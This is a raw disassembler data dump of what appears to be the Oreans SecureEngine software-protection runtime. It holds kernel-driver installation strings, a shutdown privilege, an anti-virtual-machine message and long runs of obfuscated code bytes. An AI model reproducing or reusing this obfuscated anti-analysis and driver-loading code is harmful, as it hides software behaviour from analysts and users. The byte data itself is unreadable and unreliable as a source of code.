		dd 0C4h, 1, 0DCh, 3 dup(0)
		dd 12Ch, 138h, 2 dup(0)
		dd 142h, 196h, 1D2h, 0
		dd 1D2h, 0
		dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
		dd 4000000h, 27C0h, 0
		dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
		dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
		dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h,	110000h
		dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
		dd 10301h, 3, 0
		dd 13h dup(70000h), 3C0000h, 70000h, 60010018h,	0AD000727h
		dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
		dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
		dd 7279801h, 1016B00h, 2771h, 360h dup(0)
		dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp		db 'verPP',0
		align 4
a1vsr2vsr3vsr	db '1vsR2vsR3vsR',0
		align 4
		dd 9C3h	dup(0)
		dd 831BE883h, 77309F8h,	8524FFh, 0F8000000h, 0C3h, 8 dup(0)
		dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
		dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
		dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 99E9h,	75622F00h
		dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh
		dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh
		dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h
		dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h
		dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h
		dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh
		dd 73757461h, 0
		dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h
		dd 5E9EDCCh, 0A840F00h,	0C7000000h, 0E71C1585h,	105h, 0F985C600h
		dd 4705E707h, 4E8h, 6D6C8D00h, 448B5090h, 8B0424h, 4244489h
		dd 25B5FF58h, 8D05E70Ch, 0E7391785h, 0FFD0FF05h, 80F88BD0h
		dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 18840F00h
		dd 47000003h, 0F003F80h, 30E84h, 1EE900h, 3F800000h, 840F00h
		dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h,	0FFFFFFE2h
		dd 0F003F80h, 585h, 2DDE900h, 1E90000h,	47000000h, 0F203F80h
		dd 0FFFFF684h, 3F80FFh,	5850Fh,	0C0E90000h, 0E8000002h
		dd 0Ah,	0FFFFCBE9h, 2B1E9FFh, 0B58D0000h, 5E9ED4Ch, 225E8h
		dd 0E1BD0300h, 8305E9EDh, 0E9EDE1BDh, 840F0005h, 0Bh, 0D7985C7h
		dd 105E7h, 8DC30000h, 0E9ED57B5h, 1FCE805h, 0BD030000h
		dd 5E9EDE1h, 0EDE1BD83h, 0F0005E9h, 0B84h, 1585C700h, 105E71Ch
		dd 0C3000000h, 0EDD0B58Dh, 0D3E805E9h, 3000001h, 0E9EDE1BDh
		dd 0E1BD8305h, 5E9EDh, 0B840Fh,	85C70000h, 5E730D5h, 1
		dd 61B58DC3h, 0E805E9EDh, 1AAh,	0EDE1BD03h, 0BD8305E9h
		dd 5E9EDE1h, 0B840F00h,	0C7000000h, 0E71C1585h,	105h, 0B58DC300h
		dd 5E9ED6Bh, 181E8h, 0E1BD0300h, 8305E9EDh, 0E9EDE1BDh
		dd 840F0005h, 15h, 1C1585C7h, 105E7h, 85C70000h, 5E70D79h
		dd 1, 79B58DC3h, 0E805E9EDh, 14Eh, 0EDE1BD03h, 0BD8305E9h
		dd 5E9EDE1h, 0A840F00h,	0C7000000h, 0E732D585h,	105h, 83B58D00h
		dd 0E805E9EDh, 126h, 0EDE1BD03h, 0BD8305E9h, 5E9EDE1h
		dd 0A840F00h, 0C7000000h, 0E732D585h, 105h, 8EB58D00h
		dd 0E805E9EDh, 0FEh, 0EDE1BD03h, 0BD8305E9h, 5E9EDE1h
		dd 0A840F00h, 0C7000000h, 0E70E8585h, 105h, 94B58D00h
		dd 0E805E9EDh, 0D6h, 0EDE1BD03h, 0BD8305E9h, 5E9EDE1h
		dd 0A840F00h, 0C7000000h, 0E7264185h, 105h, 9AB58D00h
		dd 0E805E9EDh, 0AEh, 0EDE1BD03h, 0BD8305E9h, 5E9EDE1h
		dd 0A840F00h, 0C7000000h, 0E712D985h, 105h, 0A8B58D00h
		dd 0E805E9EDh, 86h, 0EDE1BD03h,	0BD8305E9h, 5E9EDE1h, 0A840F00h
		dd 0C7000000h, 0E72A9D85h, 105h, 0B5B58D00h, 0E805E9EDh
		dd 5Eh,	0EDE1BD03h, 0BD8305E9h,	5E9EDE1h, 0A840F00h, 0C7000000h
		dd 0E732DD85h, 105h, 0C0B58D00h, 0E805E9EDh, 36h, 0EDE1BD03h
		dd 0BD8305E9h, 5E9EDE1h, 0A840F00h, 0C7000000h,	0E7068185h
		dd 105h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
		dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h,	850F003Fh, 2, 178AC92Bh
		dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h
		dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
		dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
		dd 0D840Fh, 0F32B0000h,	0EDE1B589h, 0AE905E9h, 0C7000000h
		dd 0E9EDE185h, 5, 8BC36100h, 13E8C8h, 0FB2C0000h, 6888E2D7h
		dd 890FA3E2h, 57E5D744h, 0DB19B88Eh, 0BD235A71h, 5E7313Dh
		dd 5C91C281h, 7E80000h,	95000000h, 76697C65h, 8B66132Ch
		dd 96BB5FF0h, 8161EFDAh, 0EFC3A4EBh, 810A8B61h,	0C8AE9AC1h
		dd 0DABE6653h, 66E981A5h, 2930EAA1h, 0E703ED85h, 5E98105h
		dd 322CDAEh, 0E7098DB5h, 8B665105h, 8B028FC3h, 0E70499B5h
		dd 3EA8305h, 1B31B533h,	604A05E7h, 3957BB66h, 0F19D8951h
		dd 5F05E72Ch, 1EB8361h,	1A850Fh, 95890000h, 5E70281h, 36E9h
		dd 124A2400h, 7E85DBCDh, 8A8AD75h, 684D58FFh, 12E9h, 0C73CB400h
		dd 2E7A3DF3h, 75C79E82h, 63320C4Ch, 0E9C42046h,	0FFFFFF79h
		dd 0B7A50F6Fh, 0FD75EEBh, 0E940F21Dh, 10A9h, 41564441h
		dd 32334950h, 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h
		dd 417265h, 61657243h, 65536574h, 63697672h, 53004165h
		dd 74726174h, 76726553h, 41656369h, 74654700h, 6974614Eh
		dd 79536576h, 6D657473h, 6F666E49h, 65704F00h, 7265536Eh
		dd 65636976h, 65440041h, 6574656Ch, 76726553h, 656369h
		dd 736F6C43h, 72655365h, 65636976h, 646E6148h, 4300656Ch
		dd 72746E6Fh, 65536C6Fh, 63697672h, 65h, 7 dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 10h
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 10h
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 4
		dd 0D9h	dup(0)
a_Oreans_vxd	db '\\.\Oreans.vxd',0
		align 4
		dd 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpr_0	db 'SeShutdownPrivilege',0
		dd 0
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA	db 'CreateService API Error while extraction the driver',0
aCloseservice_0	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		align 8
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9400h, 500h,	100h, 0A2800h, 200h, 21h dup(0)
		dd 89C48B00h, 0E71B4D95h, 11E905h, 8A350000h, 0AA088D50h
		dd 0C1D43BB9h, 0C93FB78h, 896A74ABh, 0E709AD85h, 10E905h
		dd 83920000h, 0D639AEB2h, 989057D7h, 7217916Fh,	8BF55593h
		dd 298529C0h, 8305E707h, 0E70D79BDh, 9750005h, 1C15BD83h
		dd 740005E7h, 8B535019h, 43DB8C0h, 85890000h, 5E713D5h
		dd 0AA349D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E71C15h, 50177400h
		dd 43DB853h, 85890000h,	5E713D5h, 0A7239D8Dh, 0D3FF05E9h
		dd 0D08B585Bh, 5DCC281h, 6A7F1Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0A64BD1C3h, 2231BD89h
		dd 0C08B05E7h, 6FD9D89h, 0C08B05E7h, 32DDCA81h,	0BD8305D1h
		dd 5E70D79h, 83097500h,	0E71C15BDh, 13740005h, 0C08B5350h
		dd 0B8h, 0D69D8D00h, 0FF05E9A8h, 83585BD3h, 0E71C15BDh
		dd 11740005h, 0B85350h,	8D000000h, 0E9A7879Dh, 5BD3FF05h
		dd 8BEA8A58h, 0E72349BDh, 29C08B05h, 0E703D995h, 0FC08B05h
		dd 687h, 8D858900h, 6605E713h, 765FD981h, 0D79BD83h, 750005E7h
		dd 15BD8309h, 5E71Ch, 53501374h, 0B8C08Bh, 8D000000h, 0E9A8089Dh
		dd 5BD3FF05h, 15BD8358h, 5E71Ch, 53501174h, 0B8h, 559D8D00h
		dd 0FF05E9A7h, 0BF585BD3h, 414FED2h, 24619523h,	6A05E7h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 84594C3h, 0B529B312h, 5E71CDDh, 62B5C08Bh, 880FC08Bh
		dd 6, 13918D31h, 0BD8305E7h, 5E70D79h, 83097500h, 0E71C15BDh
		dd 13740005h, 0C08B5350h, 0B8h,	6F9D8D00h, 0FF05E9A8h
		dd 83585BD3h, 0E71C15BDh, 11740005h, 0B85350h, 8D000000h
		dd 0E9A76E9Dh, 5BD3FF05h, 6638B258h, 0AC6DA81h,	0CE8BC08Bh
		dd 5E9C08Bh, 60000000h,	0EBD71A29h, 0D79BD83h, 750005E7h
		dd 15BD8309h, 5E71Ch, 53501374h, 0B8C08Bh, 8D000000h, 0E9A7A19Dh
		dd 5BD3FF05h, 618D8958h, 8B05E712h, 0E7278DBDh,	2FBF6605h
		dd 0E9C08B45h, 0Bh, 0F84C81B8h,	2AC2050Eh, 8B89315Ch, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0BD8321F5h, 5E70D79h, 83097500h, 0E71C15BDh,	19740005h
		dd 0C08B5350h, 7D0B8h, 0D5858900h, 8D05E713h, 0E9AA349Dh
		dd 5BD3FF05h, 15BD8358h, 5E71Ch, 53501774h, 7D0B8h, 0D5858900h
		dd 8D05E713h, 0E9A7239Dh, 5BD3FF05h, 53006A58h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0EF8166C0h
		dd 958B4A25h, 5E72241h,	1D8F0Fh, 11E80000h, 6F000000h
		dd 0EE074E65h, 0FFD89853h, 3B6FC2E8h, 6B54CF72h, 8D0Fh
		dd 8B5A0000h, 8D958BC0h, 0C605E72Ch, 0E707F985h, 6A5305h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 1A6F3BC3h, 3F8AF1Dh,	0E72EB58Dh, 0C1852905h,	6805E70Bh
		dd 99395F90h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	0C4C35545h, 0B5FFB4D6h,	5E70C25h, 5890Fh, 0F530000h
		dd 8D59C9BFh, 0E7391785h, 11BD8B05h, 0FF05E71Ch, 8589FCD0h
		dd 5E732CDh, 13E9h, 4CA47300h, 8B7D9B0Dh, 0A603CDCAh, 0E1F68BBh
		dd 8DB3BE82h, 7F985C6h,	515705E7h, 8B5FDBB2h, 520668C8h
		dd 958B9004h, 5E72585h,	0C25B5FFh, 8D2905E7h, 5E72745h
		dd 3917858Dh, 0BA6605E7h, 0D0FFB228h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 11C35646h, 0FBD8941Dh, 0CE833h
		dd 9C5C0000h, 0D13D28CAh, 9728549Eh, 8D014280h,	5E70F41h
		dd 0C1858959h, 8905E729h, 0E7279D95h, 0F985C605h, 4305E707h
		dd 9E8h, 32C79500h, 694DEBDCh, 0DF813F25h, 7395E14Bh, 0B1958B59h
		dd 6805E706h, 0BC907028h, 16B1B589h, 0B5FF05E7h, 5E70C25h
		dd 1698D8Bh, 0BA6605E7h, 858D0A9Ch, 5E73917h, 7F5BD89h
		dd 0D0FF05E7h, 8904C980h, 0E7205585h, 0A8D0F05h, 60000000h
		dd 8D8BD18Bh, 5E72041h,	0B18D8B61h, 0C605E715h,	0E707F985h
		dd 8DB94C05h, 68602052h, 0D9DA1CE9h, 0D24CF0BAh, 25B5FF2Dh
		dd 2905E70Ch, 0E704519Dh, 9853105h, 8D05E704h, 0E7391785h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FF9A8834h, 0AE9D0h, 0D8220000h,	0A8D05649h
		dd 31574E35h, 31F98589h, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 9F5524C3h, 8E659A2h
		dd 0ED8D8B7Dh, 0C605E726h, 0E707F985h, 6A4605h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 1380CEC3h, 5585092Dh, 6805E72Dh, 0BADE0614h,	0CF99D89h
		dd 0B5FF05E7h, 5E70C25h, 6890Fh, 0EA810000h, 37E16631h
		dd 3917858Dh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 9743A5C3h, 8B4F6DF5h, 0B9D0FFD7h
		dd 9DA2FC2h, 30C58589h,	0BD0305E7h, 5E70D51h, 7F985C6h
		dd 6A4705E7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 241CC352h, 658EFA34h, 0E268E967h
		dd 898A0FB5h, 0E7218185h, 25B5FF05h, 6A05E70Ch,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 7C2BC356h, 48105077h, 0AE8EEh, 0F4DC0000h, 4914D6E4h
		dd 11C6054Ah, 0E418D2Bh, 8D5905E7h, 0E7391785h,	0D6BF0F05h
		dd 8D8BD0FFh, 5E72221h,	0F618589h, 85C605E7h, 5E707F9h
		dd 68A0F47h, 8B000000h,	0E726A18Dh, 0C8D0F05h, 0F000000h
		dd 688h, 0D99D8900h, 6805E722h,	83D0B5F3h, 10E8h, 0F92AE100h
		dd 9133D8DCh, 789D6293h, 7B58BD27h, 0B2BA668Dh,	0B5FF5F30h
		dd 5E70C25h, 858DD18Bh,	5E73917h, 0D846BA66h, 0BD03D0FFh
		dd 5E70BADh, 8818589h, 85C605E7h, 5E707F9h, 0F58D8B77h
		dd 6805E716h, 0F397A8A3h, 0A117BA66h, 13C5B5FFh, 858D05E7h
		dd 5E73917h, 2E458D8Bh,	0D0FF05E7h, 0F344C181h,	0B9666DBCh
		dd 85899DA4h, 5E70629h,	0C6D3BF0Fh, 0E707F985h,	8A0F4705h
		dd 0
		dd 28FAF668h, 18800F87h, 0E9000000h, 13h, 63391589h, 0A287C417h
		dd 0E44BFF71h, 0D35CECBFh, 0FF8EB9B7h, 0E70C25B5h, 0F8DABF05h
		dd 858D1844h, 5E73917h,	0FFF88B66h, 0A59529D0h,	8905E720h
		dd 0E71CC985h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0F985C634h, 4305E707h
		dd 734DEF81h, 816645B9h, 68B670C1h, 0BC8E6EFCh,	9E9h, 3D30DF00h
		dd 65D6C7E9h, 0B5FF0E7Fh, 5E70C25h, 2F299529h, 858D05E7h
		dd 5E73917h, 68F0Fh, 958B0000h,	5E702F9h, 10E9D0FFh, 15000000h
		dd 0BC2B92B3h, 8B50B8DFh, 0F46D589Fh, 8991A0B7h, 0E7037985h
		dd 0B0BF5005h, 597DD0E8h, 7F985C6h, 6A4505E7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 7AB2C351h, 8B2167ADh, 9BFACB3Eh, 14E9h, 0B7E09500h
		dd 3D9EF83Ch, 86ADF3B7h, 0D99D5D61h, 0AEF76359h, 69696824h
		dd 5E98E72h, 0CE000000h, 1AC6B7Bh, 0C25B5FFh, 666005E7h
		dd 0B5CC45B8h, 0BD2B616Bh, 5E72AA5h, 3917858Dh,	0FE805E7h
		dd 69000000h, 0D2A33744h, 9FF87342h, 18CE6FEFh,	8159A81Bh
		dd 26BCAED9h, 0FD0FF7Ch, 685h, 0B1952B00h, 8905E72Ch, 0E727D185h
		dd 41958B05h, 0C605E722h, 0E707F985h, 85094405h, 5E72649h
		dd 0F2EC6468h, 0F58D8BB8h, 0FF05E732h, 0E70C25B5h, 17858D05h
		dd 905E739h, 0E7163195h, 6AD0FF05h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 1AA8C356h
		dd 6D06EF80h, 820F36E2h, 9418D89h, 858905E7h, 5E7044Dh
		dd 6358D2Bh, 85C605E7h,	5E707F9h, 56006A43h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0E97CE5h, 68228B95h
		dd 0C0764AA7h, 0FFCE8B66h, 0E70C25B5h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0E9CB06F5h, 0Dh, 55B9FCD4h, 0F7AA0652h, 9E39266Fh, 0CF8B668Ch
		dd 3917858Dh, 858905E7h, 5E72E79h, 9589D0FFh, 5E70EC1h
		dd 0CC58589h, 870F05E7h, 6, 2019D89h, 0BD8005E7h, 5E9FE25h
		dd 5A840F00h, 0F000001h, 48Eh, 61605600h, 7DA6B959h, 858D7D62h
		dd 5E9FE07h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0CC35646h, 410B5931h, 0D366D0B4h, 0C840FE1h, 0F000000h
		dd 685h, 45B58900h, 6005E726h, 4419D89h, 0E96005E7h, 9
		dd 4716EF90h, 0AAEB53CFh, 8E8BAh, 1C280000h, 2C49DEA7h
		dd 615FDC8Ch, 6A5061h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 7FE724C3h, 9D34110h, 0E720D18Dh
		dd 29016A05h, 0E70B8995h, 6A006A05h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 2819C351h
		dd 6E9E3E2h, 0C8000000h, 1BEF4B28h, 0E9006A21h,	11h, 74AA05E6h
		dd 21DFBB4Bh, 0B84EFC13h, 0AEE5BC59h, 11E96Ah, 0E93B0000h
		dd 0F9EA2305h, 5BF2861Ch, 1635E023h, 0FF83FE8Dh, 0E7205595h
		dd 0CAB70F05h, 0CE58589h, 0E0B905E7h, 6A2AFD3Fh, 0F18D33FFh
		dd 0E905E708h, 5, 2348AB90h, 0E5B5FFFFh, 6A05E70Ch, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 3A6FC351h, 840EC961h, 0BD0BBCF5h, 5E713B5h, 29C195FFh
		dd 8B6605E7h, 8AC08BCFh, 79BD83D1h, 5E70Dh, 0BD830975h
		dd 5E71C15h, 50197400h,	0B8C08B53h, 7D1h, 13D58589h, 9D8D05E7h
		dd 5E9AA34h, 585BD3FFh,	1C15BD83h, 740005E7h, 0B8535017h
		dd 7D1h, 13D58589h, 9D8D05E7h, 5E9A723h, 585BD3FFh, 26B18D8Bh
		dd 8D8905E7h, 5E707F5h,	13E960h, 0A9120000h, 0F8DAC255h
		dd 7F571Ch, 0B105074Bh,	0F46A2D21h, 68D0FDAh, 89000000h
		dd 0E727DDB5h, 0C08B6105h, 7BD8C281h, 85C67134h, 5E707F9h
		dd 5D952947h, 6805E701h, 93C8F7C1h, 0A4E18166h,	25B5FFC7h
		dd 8B05E70Ch, 0E72BE58Dh, 17858D05h, 905E739h, 0E7215985h
		dd 29D0FF05h, 0E72C4595h, 6A5005h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0DF9D33C3h, 0B6DB48D3h
		dd 248858Dh, 8D8905EAh,	5E727C5h, 9400C7h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 310E8CC3h, 0FD70AE8Bh, 0F5D3D281h, 0F586C76h, 382h
		dd 0B4DD8000h, 248B58Dh, 0BF6605EAh, 0FF56F2A2h, 50006AD0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 3D341D71h, 8DEF8AC5h, 0EA024885h, 91850105h,	8305E703h
		dd 0F060478h, 1B85h, 0F1BD8900h, 0C705E727h, 0EA02DC85h
		dd 105h, 0A1958B00h, 6605E71Ch,	4018D281h, 157DBD83h, 0F0005E7h
		dd 6C85h, 15810F00h, 0E8000000h, 9, 36D7FF2Dh, 0E16BBEEAh
		dd 0B9BD239Ah, 5A05E70Eh, 2DCBD83h, 0F0005EAh, 4485h, 13E800h
		dd 0FDAE0000h, 0FF30B172h, 6E3956F0h, 51F13ADFh, 95B44418h
		dd 95096057h, 5E72EE9h,	6185F280h, 91BD8359h, 5E721h, 13840Fh
		dd 8BF80000h, 0A985C7D0h, 5E70Eh, 89000000h, 0E7320985h
		dd 0DB8C6605h, 22A9BD03h, 0C3F605E7h, 5E840F04h, 66000005h
		dd 4EA3E281h, 7F185C7h,	5E7h, 95230000h, 5E7135Dh, 80D7BF0Fh
		dd 0E9FE32BDh, 850F0005h, 6, 2DA98D8Bh,	85C605E7h, 5E707F9h
		dd 8F0F47h, 68000000h, 0E3E45B86h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0B6C35646h,	0DBC981C3h, 0F503E4F3h
		dd 16870Fh, 0E8520000h,	0Eh, 0E2F80056h, 0D25E2C53h, 1E6734CFh
		dd 5A59655Ch, 0C25B5FFh, 9D0905E7h, 5E71B89h, 3917858Dh
		dd 0BD0905E7h, 5E727C5h, 89D0FFF9h, 0E705F995h,	1046805h
		dd 958B0000h, 5E71509h,	96DBD8Bh, 9D8D05E7h, 5E72FA5h
		dd 3355958Bh, 805305E7h, 0D0FF88C9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 56C35545h, 830FBD5Ch, 0A5858D59h
		dd 8105E72Fh, 5C07B6DFh, 6A5000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 858DA6C3h, 5E9FDE4h
		dd 0E28050F8h, 0B7858D37h, 0E905E9F4h, 6, 0AE268AFBh, 6A5060A5h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 6185C356h, 59850922h, 0FF05E720h,	0E7062995h
		dd 0CC48305h, 13E9h, 66FD700h, 0EA56D3EDh, 6B03805Eh, 0E456E5F4h
		dd 0B53F6118h, 8068006Ah, 6A000000h, 6A006A03h,	6800h
		dd 858D8000h, 5E9F4B7h,	7995FF50h, 8905E703h, 0E9FDC785h
		dd 0F985C605h, 4705E707h, 0B15E8768h, 25B5FFC7h, 8D05E70Ch
		dd 0E7391785h, 6AD0FF05h, 0C7B5FF00h, 0FF05E9FDh, 8BA66D0h
		dd 56006AB2h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 579785EAh, 9D89B050h, 5E72AB5h, 13E9h, 27516600h
		dd 5484BF0Ch, 0F7D37CEh, 0C23C4143h, 0F0BEF7Bh,	37D03Dh
		dd 3F830F00h, 8B000000h, 0C7B5FFCFh, 8905E9FDh,	0E72D3195h
		dd 0C595FF05h, 6A05E70Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch
		dd 16042444h, 43000000h, 0F1E8C353h, 19D3197h, 0E905E726h
		dd 0A3h, 0B5FFD68Bh, 5E9FDC7h, 9E9h, 7B2A9B00h,	0D9FA71B7h
		dd 14E9BAB8h, 38000000h, 337C87AEh, 0D5B97C95h,	0FF861363h
		dd 8C7EEA76h, 0FF402976h, 0E70CC595h, 85858905h, 6A05E703h
		dd 18D8900h, 6A05E72Ah,	6AD38B00h, 0D6BA6600h, 0F8006A18h
		dd 0BD8B006Ah, 5E70AD5h, 0D78B006Ah, 0FDCB858Dh, 0BA6605E9h
		dd 8B500785h, 0E704318Dh, 7995FF05h, 6005E703h,	177DB589h
		dd 0F6105E7h, 0F883D0BFh, 0C9850FFFh, 6A000001h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8D26C355h, 0E9B46C85h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 64683A44h
		dd 0FB81B08h, 188Dh, 128E0F00h,	0E8000000h, 0Ch, 3A598EE6h
		dd 0B4026AABh, 0E6CBFA9Bh, 6AD0FF5Ah, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 7DEBC352h
		dd 0E95DD5DBh, 0B59D0127h, 6A05E703h, 8D896000h, 5E727C5h
		dd 9E957h, 0A9990000h, 0E15873A2h, 5FFA8EC9h, 53006A61h
		dd 6A006A5Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 621AC350h, 0A4B3279Eh,	0E9BDB48Ch
		dd 0Bh,	78802DC7h, 0D3233C30h, 6A1A358Ch, 0EDE5BF00h, 6A1B64h
		dd 2A5D950Bh, 6A05E7h, 0F5BD8951h, 5905E707h, 0FDCB858Dh
		dd 0E18005E9h, 0BD8B603Bh, 5E71759h, 61F98B66h,	55006A50h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0D4D6A4ADh, 37995FFh, 816605E7h, 83495FEFh, 850FFFF8h
		dd 88h,	2BD9523h, 0B58D05E7h, 5E9F7D3h,	0F3B96656h, 858D5A84h
		dd 5E9A41Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	64C35242h, 2D6D8D8Bh, 0D0FF05E7h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 14h, 0AFC35343h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0F6ACEAC3h, 0F19AF2DFh, 27D195FFh, 0BA6605E7h, 0D18BCA68h
		dd 0FDC78589h, 11E805E9h, 0F8000000h, 0DB1C9C4Eh, 421961EAh
		dd 24516528h, 4AFE220Bh, 6A5FF5h, 0B7FED981h, 858D44D3h
		dd 5E9FDBFh, 21AD8589h,	0E85005E7h, 0Eh, 0DA1A9A95h, 0C3E70820h
		dd 0A55C5E0Eh, 0CF818CE6h, 33FF9F40h, 8B046A5Fh, 0E701A995h
		dd 59858D05h, 8005E72Ah, 0F50ABE9h, 6AD1BFh, 35A7DA81h
		dd 6A128Dh, 6B0B50B9h, 0E8016A45h, 7, 61E1405Dh, 0E9111266h
		dd 12h,	0F8A325E5h, 30F4982Fh, 504C078h, 398761D0h, 0FF5A260Dh
